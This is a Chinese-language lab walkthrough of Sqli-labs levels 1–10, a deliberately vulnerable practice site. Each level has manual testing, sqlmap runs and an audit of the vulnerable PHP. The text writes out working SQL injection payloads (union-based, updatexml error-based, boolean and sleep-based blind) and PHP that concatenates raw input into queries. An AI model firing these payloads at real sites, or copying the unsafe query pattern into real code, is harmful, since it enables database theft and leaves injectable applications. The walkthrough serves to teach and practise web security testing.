目录
0 前言
- 之前学习了SQL各种注入类型后,急于学习其他类型的Web漏洞,没能夯实该类型的漏洞,借此机会将Sqli-labs通一下关,记录各个关卡黑盒测试和代码审计过程的思路,如果大家有其他见解,欢迎留言分享。
- 本文的阅读思路,最好是从头阅读,前面关卡说到的一些思路和细节,在后续关卡中就没有详细分析了。
- 先捋一遍整体思路,首先是理解SQL注入的三个条件:
①参数可控;(从参数输入就知道参数可控)
②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断)
③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)
1 Less-1
1.1 手工测试
1.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-1/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-1/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-1/?id=2
显示页面如下,可以看到页面与id=1不同。
- 根据上述测试结果,可以这样猜测后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,SQL语句根据id来从数据库中拿出对应的内容。
1.1.2 判断注入参数闭合方式
- 目的:测试参数的闭合方式,是为了后续攻击中让我们构造的语句成功被数据库执行,而不是被视为字符串。
- 一些体会:在靶场实验过程中,有可能会有一些错误信息的提示方便我们猜测其闭合方式,但是在真实网页中,其测试过程是漫长复杂的,需要不断尝试和思考。
- 第1次测试,在参数后加一个单引号,
http://192.168.1.9/sqli-labs/Less-1/?id=1'
,显示结果如下,状态异常,在下面的错误提示中,''1'' limit 0,1'
语句的首尾两个单引号是用来括起SQL语句出错的位置'1'' limit 0,1
,这就很明显可以看出我们输入的1'
是被单引号所闭合的。
1.1.4 尝试利用联合查询注入
- 首先,判断后台SQL语句查询结果包含多少列。构造语句
http://192.168.1.9/sqli-labs/Less-1/?id=1' order by 3--+
,其中,1'
中的单引号是为了闭合SQL语句中已存在的单引号,--+
主要目的是闭合后续的单引号,刚好又注释掉其他内容。
- 类似地,构造语句
http://192.168.1.9/sqli-labs/Less-1/?id=1' order by 4--+
,则报错,结合上一语句可以推断SQL语句Select的结果中有3列。
- 然后判断内容是否回显到页面。构造语句
http://192.168.1.9/sqli-labs/Less-1/?id=-1' union select 1,2,3--+
,其中-1
这个id在数据库中不存在,因此SQL语句查询不到响应的内容,这样,后面union select的查询结果才能显示到页面上来。显示如下,可以看到2和3两个位置的内容是可以显示到前端。
- 爆库名。构造语句
http://192.168.1.9/sqli-labs/Less-1/?id=-1' union select 1,database(),3--+
,显示如下,在第二个显示位上,成功爆出该应用所在的数据库。
1.2 自动化注入
- 在上述成功判断出该URL存在SQL注入后,也可以采用SQLmap程序来实现自动化注入。
- 打开SQLmap程序,本实验演示的是在Windows系统上安装的SQLmap,安装方法可以参考《Win10利用anoconda部署安装sqlmap》,当然也可以采用Kali自带的。
- 输入命令
python sqlmap.py -u http://192.168.1.9/sqli-labs/Less-1/?id=1
进行测试。根据命令提示,判断输入y或者n。
- 成功判断存在SQL注入漏洞,本文就不再演示如何爆数据库的过程了。
1.3 代码审计
- 该页面主要的PHP代码如下:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 在代码第8行,GET请求中的参数id赋给变量$id。
- 在代码第10~12行,程序将每次测试的参数写入到文件result.txt中,以作为日志分析。
- 在代码第15行,可以看到变量$id没有进行任何过滤就拼接到SQL语句中,同时被单引号所闭合。
2 Less-2
2.1 手工测试
2.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-2/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-2/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-2/?id=2
显示页面如下,可以看到页面与id=1不同。
- 与Less-1类似地,我们可以推测出后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,SQL语句根据id来从数据库中拿出对应的内容。
2.1.2 判断注入参数闭合方式
- 第1次测试,在参数后加一个单引号,
http://192.168.1.9/sqli-labs/Less-2/?id=1'
,显示结果如下,可以看出单引号没有被过滤,新增加的单引号直接拼接到SQL语句中导致执行出错。
- 在上面的错误提示中,我们看到是因为limit前面多了一个单引号导致错误,也就是说,该关卡的参数是没有采用任何闭合方式的,即是数值型参数。
2.1.3 尝试利用联合查询注入
- 首先,判断后台SQL语句查询结果包含多少列。构造语句
http://192.168.1.9/sqli-labs/Less-2/?id=1 order by 3
,无需像Less-1那样去闭合SQL语句中的引号。
- 类似地,构造语句
http://192.168.1.9/sqli-labs/Less-2/?id=1 order by 4
,则报错,结合上一语句可以推断SQL语句Select的结果中有3列。
- 然后判断内容是否回显到页面。构造语句
http://192.168.1.9/sqli-labs/Less-2/?id=-1 union select 1,2,3
,其中-1
这个id在数据库中不存在,因此SQL语句查询不到响应的内容,这样,后面union select的查询结果才能显示到页面上来。显示如下,可以看到2和3两个位置的内容是可以显示到前端。
- 爆库名。构造语句
http://192.168.1.9/sqli-labs/Less-2/?id=-1 union select 1,database(),3
,显示如下,在第二个显示位上,成功爆出该应用所在的数据库。
2.2 自动化注入
- 自动化测试过程与Less-1类似,不再赘述。
- 注入结果如下:
2.3 代码审计
- 该页面主要的PHP代码如下:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
- 与Less-1相比,本关卡代码差异主要体现在第15行,本关卡的$id变量没有采用引号闭合,因此是数值型的变量。
3 Less-3
3.1 手工测试
3.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-3/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-3/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-3/?id=2
显示页面如下,可以看到页面与id=1不同。
- 与Less-1类似地,我们可以推测出后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,SQL语句根据id来从数据库中拿出对应的内容。
3.1.2 判断注入参数闭合方式
- 第1次测试,在参数后加一个单引号,
http://192.168.1.9/sqli-labs/Less-3/?id=1'
,显示结果如下,可以看出单引号没有被过滤,新增加的单引号直接拼接到SQL语句中导致执行出错。
- 在上面的错误提示中,
''1'') limit 0,1'
语句的首尾两个单引号是用来括起SQL语句出错的位置''1'') limit 0,1
,与Less-1相比,此处的闭合方式为单引号+圆括号。
3.1.3 尝试利用联合查询注入
- 后续注入过程与前两关类似,不再赘述。
- 使用语句
http://192.168.1.9/sqli-labs/Less-3/?id=-1') union select 1,database(),3--+
,显示如下,在第二个显示位上,成功爆出该应用所在的数据库。
3.2 自动化注入
- 自动化测试过程与Less-1类似,不再赘述。
- 注入结果如下:
3.3 代码审计
- 该页面主要的PHP代码如下:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 与Less-1相比,本关卡代码差异主要体现在第15行,本关卡的$id变量采用单引号+圆括号的闭合方式。
4 Less-4
4.1 手工测试
4.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-4/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-4/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-4/?id=2
显示页面如下,可以看到页面与id=1不同。
- 与Less-1类似地,我们可以推测出后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,SQL语句根据id来从数据库中拿出对应的内容。
4.1.2 判断注入参数闭合方式
- 第1次尝试,在参数后加一个单引号,
http://192.168.1.9/sqli-labs/Less-4/?id=1'
,与前面关卡不同是的,这里显示正常,由此我们猜测有可能单引号被过滤,这样拼接入SQL语句中的参数还是1;另一种可能是单引号没有过滤,1’直接拼接到SQL语句中执行,但是参数id在数据库中是整型,1’强制转换后还是1,因此仅通过该次尝试无法得出确定的闭合类型。
- 第2次尝试,将单引号改成双引号,
http://192.168.1.9/sqli-labs/Less-4/?id=1"
,显示结果如下,在下面的错误提示中,'"1"") limit 0,1'
语句的首尾两个单引号是用来括起SQL语句出错的位置"1"") limit 0,1
,与Less-1相比,此处的闭合方式为双引号+圆括号。
4.1.3 尝试利用联合查询注入
- 后续注入过程与前两关类似,不再详细赘述。
- 使用语句
http://192.168.1.9/sqli-labs/Less-4/?id=-1") union select 1,database(),3--+
,显示如下,在第二个显示位上,成功爆出该应用所在的数据库。
4.2 自动化注入
- 自动化测试过程与Less-1类似,不再赘述。
- 注入结果如下:
4.3 代码审计
- 本关卡主要的PHP代码如下:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 代码第8行将传入的参数赋予变量id。
- 代码第15行在变量id前后拼上双引号。
- 代码第16行是拼接成完整的SQL语句。
- 由上看出代码确实没有对单引号进行过滤,那为什么我们拼上单引号的时候还能成功执行呢?
- 为了验证SQL在执行不同符号闭合的效果,访问后台数据库,执行以下语句,观察是否成功执行。
SELECT * FROM `users` WHERE id = 1 #执行成功,SQL语句成功识别到整型1
SELECT * FROM `users` WHERE id = '1' #执行成功,因为SQL语句识别到字符1,并强制转换为整型1
SELECT * FROM `users` WHERE id = "1" #执行成功,因为SQL语句识别到字符1,并强制转换为整型1
SELECT * FROM `users` WHERE id = "1'" #执行成功,因为SQL语句识别到字符1',并强制转换为整型1
SELECT * FROM `users` WHERE id = '1"' #执行成功,因为SQL语句识别到字符1",并强制转换为整型1
SELECT * FROM `users` WHERE id = '1a' #执行成功,因为SQL语句识别到字符1a,并强制转换为整型1
SELECT * FROM `users` WHERE id = 'a1' #执行失败,因为SQL语句识别到字符a1,无法强制转换为整型1
5 Less-5
5.1 手工测试
5.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-5/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-5/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-5/?id=2
显示页面如下,与前面四关不同的是,这里id=2与id=1显示状态一致。
- 再次更改参数id的值,
http://192.168.1.9/sqli-labs/Less-5/?id=-1
显示页面如下,结合上一步测试,可以进一步推断出id参数正确页面显示you are in…,参数错误则不显示。
- 与Less-1类似地,我们可以推测出后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,id参数正确页面显示you are in…,参数错误则不显示。
5.1.2 判断注入参数闭合方式
- 第1次尝试,在参数后加一个单引号,
http://192.168.1.9/sqli-labs/Less-5/?id=1'
,显示SQL语句出错。
- 从上面的错误提示中,我们也可以发现闭合方式是单引号。
5.1.3 尝试利用联合查询注入
- 首先,判断后台SQL语句查询结果包含多少列。构造语句
http://192.168.1.9/sqli-labs/Less-5/?id=1' order by 3--+
,其中,1'
中的单引号是为了闭合SQL语句中已存在的单引号,--+
主要目的是闭合后续的单引号,刚好又注释掉其他内容。
- 类似地,构造语句
http://192.168.1.9/sqli-labs/Less-5/?id=1' order by 4--+
,则报错,结合上一语句可以推断SQL语句Select的结果中有3列。
- 然后判断内容是否回显到页面。构造语句
http://192.168.1.9/sqli-labs/Less-5/?id=-1' union select 1,2,3--+
,在关卡Less-1中,能成功回显联合查询语句,此处显示与id=1一致,猜测应用程序应该是只要SQL语句能成功选择出内容,就显示该页面。这就无法继续使用联合查询注入了。
5.1.4 尝试报错注入
- 考虑到SQL语句执行出错时,有语句错误提示,可考虑采用报错注入。
- 访问
http://192.168.1.9/sqli-labs/Less-5/?id=1' and (updatexml(1,concat(0x5e24,(select database()),0x5e24),1))--+
,成功注入出当前数据库名。
5.1.5 尝试利用布尔盲注
- 考虑到前面测试闭合方式时,程序会根据SQL语句的条件真假产生不同的显示效果,此处考虑布尔盲注。
- 先爆数据库名的长度,
http://192.168.1.9/sqli-labs/Less-5/?id=1' and length(database())<5--+
,页面显示如下,意味着and后面的语句判断结果为假,也就是说当前数据库名长度大于或等于5。
- 后续就是工作量的问题了,只能慢慢爆。
5.2 自动化注入
- 自动化测试过程与Less-1类似,不再赘述。
- 注入结果如下:与前面关卡不同的是此处联合查询失效了。
5.3 代码审计
- 本关卡主要的PHP代码如下:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 在代码第15行,可以看到参数是采用单引号闭合的。
- 在代码第17~32行,程序根据SQL语句是否成功查询到内容而显示不同内容。
6 Less-6
6.1 手工测试
6.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-6/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-6/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-6/?id=2
显示页面如下,与Less-5类似。
- 再次更改参数id的值,
http://192.168.1.9/sqli-labs/Less-6/?id=-1
显示页面如下,结合上一步测试,可以进一步推断出id参数正确页面显示you are in…,参数错误则不显示。
- 与Less-1类似地,我们可以推测出后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,id参数正确页面显示you are in…,参数错误则不显示。
6.1.2 判断注入参数闭合方式
- 第1次尝试,在参数后加一个单引号,
http://192.168.1.9/sqli-labs/Less-6/?id=1'
,显示结果与id=1一致。
- 第2次尝试,在参数后加一个双引号,
http://192.168.1.9/sqli-labs/Less-6/?id=1"
,显示如下,闭合方式为双引号。
6.1.3 尝试报错注入
- 考虑到SQL语句执行出错时,有语句错误提示,可考虑采用报错注入。
- 访问
http://192.168.1.9/sqli-labs/Less-6/?id=1" and (updatexml(1,concat(0x5e24,(select database()),0x5e24),1))--+
,成功注入出当前数据库名。
6.2 自动化注入
- 自动化测试过程与Less-1类似,不再赘述。
- 注入结果如下:
6.3 代码审计
- 本关卡主要的PHP代码如下:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color= "#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 本关卡代码与Less-5的区别主要在于第15行,对参数采用双引号的闭合方式。
7 Less-7
7.1 手工测试
7.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-7/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-7/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-7/?id=2
显示页面如下,与Less-5关卡类似。
- 再次更改参数id的值,
http://192.168.1.9/sqli-labs/Less-7/?id=-1
显示页面如下,结合上一步测试,可以进一步推断出id参数正确页面显示you are in…,参数错误则报错。
- 与Less-1类似地,我们可以推测出后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,id参数正确页面显示you are in…,参数错误则报错。
7.1.2 判断注入参数闭合方式
- 第1次尝试,在参数后加一个单引号,
http://192.168.1.9/sqli-labs/Less-7/?id=1'
,报错,则表示单引号致使SQL语句出错,进一步推断出参数id闭合方式含单引号。
- 第2次尝试,尝试闭合后续的引号,
http://192.168.1.9/sqli-labs/Less-7/?id=1'--+
,SQL语句执行出错,这里有可能是–+被过滤,或者闭合方式并非单纯一个单引号。
- 第3次尝试,
http://192.168.1.9/sqli-labs/Less-7/?id=1' and 1=2--+
,执行成功,进一步验证了闭合方式为单引号。
7.1.3 尝试报错注入
- 考虑到SQL语句执行出错时,有语句错误提示,可考虑采用报错注入。
- 访问
http://192.168.1.9/sqli-labs/Less-7/?id=1' and (updatexml(1,concat(0x5e24,(select database()),0x5e24),1)) and '1'='1
,注入失败,还是显示那一句错误提示,没有更具体的提示,这意味着报错注入可能无效了。
7.1.4 尝试利用布尔盲注
- 考虑到前面测试闭合方式时,程序会根据SQL语句的条件真假产生不同的显示效果,此处考虑布尔盲注。
- 先爆数据库名的长度,
http://192.168.1.9/sqli-labs/Less-7/?id=1' and length(database())>5 and '1'='1
,页面显示如下,意味着and后面的语句判断结果为真。
- 访问
http://192.168.1.9/sqli-labs/Less-7/?id=1' and length(database())<5 and '1'='1
,页面显示如下,意味着and后面语句判断结果为假,结合上一句可以证明可以使用布尔盲注进行注入。
- 后续就是工作量的问题了,只能慢慢爆。
7.2 自动化注入
- 自动化测试过程与Less-1类似,不再赘述。
- 注入结果如下:
7.3 代码审计
- 本关卡主要的PHP代码如下:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#FFFF00">';
echo 'You are in.... Use outfile......';
echo "<br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 可以看到闭合方式居然是单引号外加了两层括号,真是万万没想到,不过为什么我们采用单引号闭合的方式构造语句也成功注入呢,是因为
id = (('1' and length(database())<5 and '1'='1'))
带入到SQL中执行后,括号内的内容执行结果为false,强制转换为0,数据库搜索不到该id故报错。
8 Less-8
8.1 手工测试
8.1.1 猜测SQL语句及其注入点
-
访问
http://192.168.1.9/sqli-labs/Less-8/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
-
那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-8/?id=1
显示页面如下,可以看到页面发生变化。
-
更改参数id的值,
http://192.168.1.9/sqli-labs/Less-8/?id=2
显示页面如下,与Less-5关卡类似。
-
再次更改参数id的值,
http://192.168.1.9/sqli-labs/Less-8/?id=0
显示页面如下,结合上一步测试,可以进一步推断出id参数正确页面显示you are in…,参数错误则不显示。
-
与Less-1类似地,我们可以推测出后台所用到的SQL语句是一个Select语句,同时我们输入的参数id是位于where之后,id参数正确页面显示you are in…,参数错误则不显示。
8.1.2 判断注入参数闭合方式
- 第1次尝试,在参数后加一个单引号,
http://192.168.1.9/sqli-labs/Less-8/?id=1'
,报错,则表示单引号致使SQL语句出错,进一步推断出参数id闭合方式含单引号。
- 第2次尝试,吸取上一关卡的经验,此处我们直接构造参数,
http://192.168.1.9/sqli-labs/Less-8/?id=1' and 1=1 and '1'='1
,参数正确。
- 第3次尝试,http://192.168.1.9/sqli-labs/Less-8/?id=1’ and 1=2 and ‘1’='1`,参数错误,结合上一个参数,可以理解中间语句来进行布尔盲注。
8.1.3 尝试利用布尔盲注
- 考虑到前面测试闭合方式时,程序会根据SQL语句的条件真假产生不同的显示效果,此处考虑布尔盲注。
- 先爆数据库名的长度,
http://192.168.1.9/sqli-labs/Less-8/?id=1' and length(database())>5 and '1'='1
,页面显示如下,意味着and后面的语句判断结果为真。
- 访问
http://192.168.1.9/sqli-labs/Less-8/?id=1' and length(database())<5 and '1'='1
,页面显示如下,意味着and后面语句判断结果为假,结合上一句可以证明可以使用布尔盲注进行注入。
- 后续就是工作量的问题了,只能慢慢爆。
8.2 自动化注入
- 自动化测试过程与Less-1类似,不再赘述。
- 注入结果如下:
8.3 代码审计
- 本关卡主要的PHP代码如下:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
- 该关卡闭合方式与Less-5相同,差异之处在于该关卡将SQL语句报错信息关闭回显,只能采用布尔盲注或延时盲注。
9 Less-9
9.1 手工测试
9.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-9/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-9/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-9/?id=2
显示页面如下,与Less-5关卡类似。
- 再次更改参数id的值,
http://192.168.1.9/sqli-labs/Less-9/?id=0
显示页面如下,与前面关卡不同的是,此处id=0也是一样的页面。
- 不放心的话,我们再次更改参数id的值,
http://192.168.1.9/sqli-labs/Less-9/?id=-1
显示页面如下,还是一样,到此我们猜测该页面没有回显数据库内容、没有报错且没有显示布尔状态,还剩下一个时间状态需要在研究闭合方式的同时进行尝试。
9.1.2 判断注入参数闭合方式
- 分析,由于上述测试已经知道没有报错且网页没有显示布尔状态,此时就不是简单地加个单引号来判断了,而是还要插入sleep函数,同时打开浏览器的开发者选项来观察页面响应时间。
- 先看一下正常访问的时间,访问
http://192.168.1.9/sqli-labs/Less-9/?id=1
,可以看到响应时间约1秒钟。
- 第1次尝试,测试是否闭合方式含单引号,
http://192.168.1.9/sqli-labs/Less-9/?id=1' and sleep(5) and '1'='1
,响应时间为6秒,由此可见sleep函数被成功执行,可以推断出参数id闭合方式含单引号。
9.1.3 尝试利用延时盲注
- 由上述sleep函数执行成功时,该位置可以通过更改函数进行延时盲注。
- 先爆数据库名的长度,
http://192.168.1.9/sqli-labs/Less-9/?id=1' and if(length(database())>5,sleep(5),1) and '1'='1
,响应时间约6秒,这意味着sleep函数成功执行,进一步推断出数据库名长度大于5。
- 后续就是工作量的问题了,只能慢慢爆。
9.2 自动化注入
- 自动化测试过程与Less-1类似,不再赘述。
- 注入结果如下:自动化注入结果显示存在布尔盲注,应该是误报。
9.3 代码审计
- 本关卡主要的PHP代码如下:
- 与前面关卡的区别在于,无论SQL语句是否成功从数据库中筛选出数据,输出到页面的内容都是一样的。
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result)
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
10 Less-10
10.1 手工测试
10.1.1 猜测SQL语句及其注入点
- 访问
http://192.168.1.9/sqli-labs/Less-10/
进入该关卡,显示页面如下,提示我们要传入一个参数id。
- 那就传入一个参数id,
http://192.168.1.9/sqli-labs/Less-10/?id=1
显示页面如下,可以看到页面发生变化。
- 更改参数id的值,
http://192.168.1.9/sqli-labs/Less-10/?id=2
显示页面如下,与Less-5关卡类似。
- 再次更改参数id的值,
http://192.168.1.9/sqli-labs/Less-10/?id=0
显示页面如下,与前面关卡不同的是,此处id=0也是一样的页面。
- 不放心的话,我们再次更改参数id的值,
http://192.168.1.9/sqli-labs/Less-10/?id=-1
显示页面如下,还是一样,到此我们猜测该页面没有回显数据库内容、没有报错且没有显示布尔状态,还剩下一个时间状态需要在研究闭合方式的同时进行尝试。
10.1.2 判断注入参数闭合方式
- 分析,由于上述测试已经知道没有报错且网页没有显示布尔状态,此时就不是简单地加个单引号来判断了,而是还要插入sleep函数,同时打开浏览器的开发者选项来观察页面响应时间。
- 先看一下正常访问的时间,访问
http://192.168.1.9/sqli-labs/Less-10/?id=1
,可以看到响应时间约1秒钟。
- 第1次尝试,测试是否闭合方式含单引号,
http://192.168.1.9/sqli-labs/Less-10/?id=1' and sleep(5) and '1'='1
,响应时间还是为1秒,由此可见sleep函数没有被执行。
- 第2次尝试,测试是否闭合方式含单引号,
http://192.168.1.9/sqli-labs/Less-10/?id=1" and sleep(5) and "1"="1
,响应时间还是为1秒,由此可见sleep函数没有被执行。
10.1.3 尝试利用延时盲注
- 由上述sleep函数执行成功时,该位置可以通过更改函数进行延时盲注。
- 先爆数据库名的长度,
http://192.168.1.9/sqli-labs/Less-10/?id=1" and if(length(database())>5,sleep(5),1) and "1"="1
,响应时间约6秒,这意味着sleep函数成功执行,进一步推断出数据库名长度大于5。
- 后续就是工作量的问题了,只能慢慢爆。
10.2 自动化注入
不知为何注入不了。。。
10.3 代码审计
- 本关卡主要的PHP代码如下:
- 与上一关卡的区别在于,此处参数闭合方式采用双引号。
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
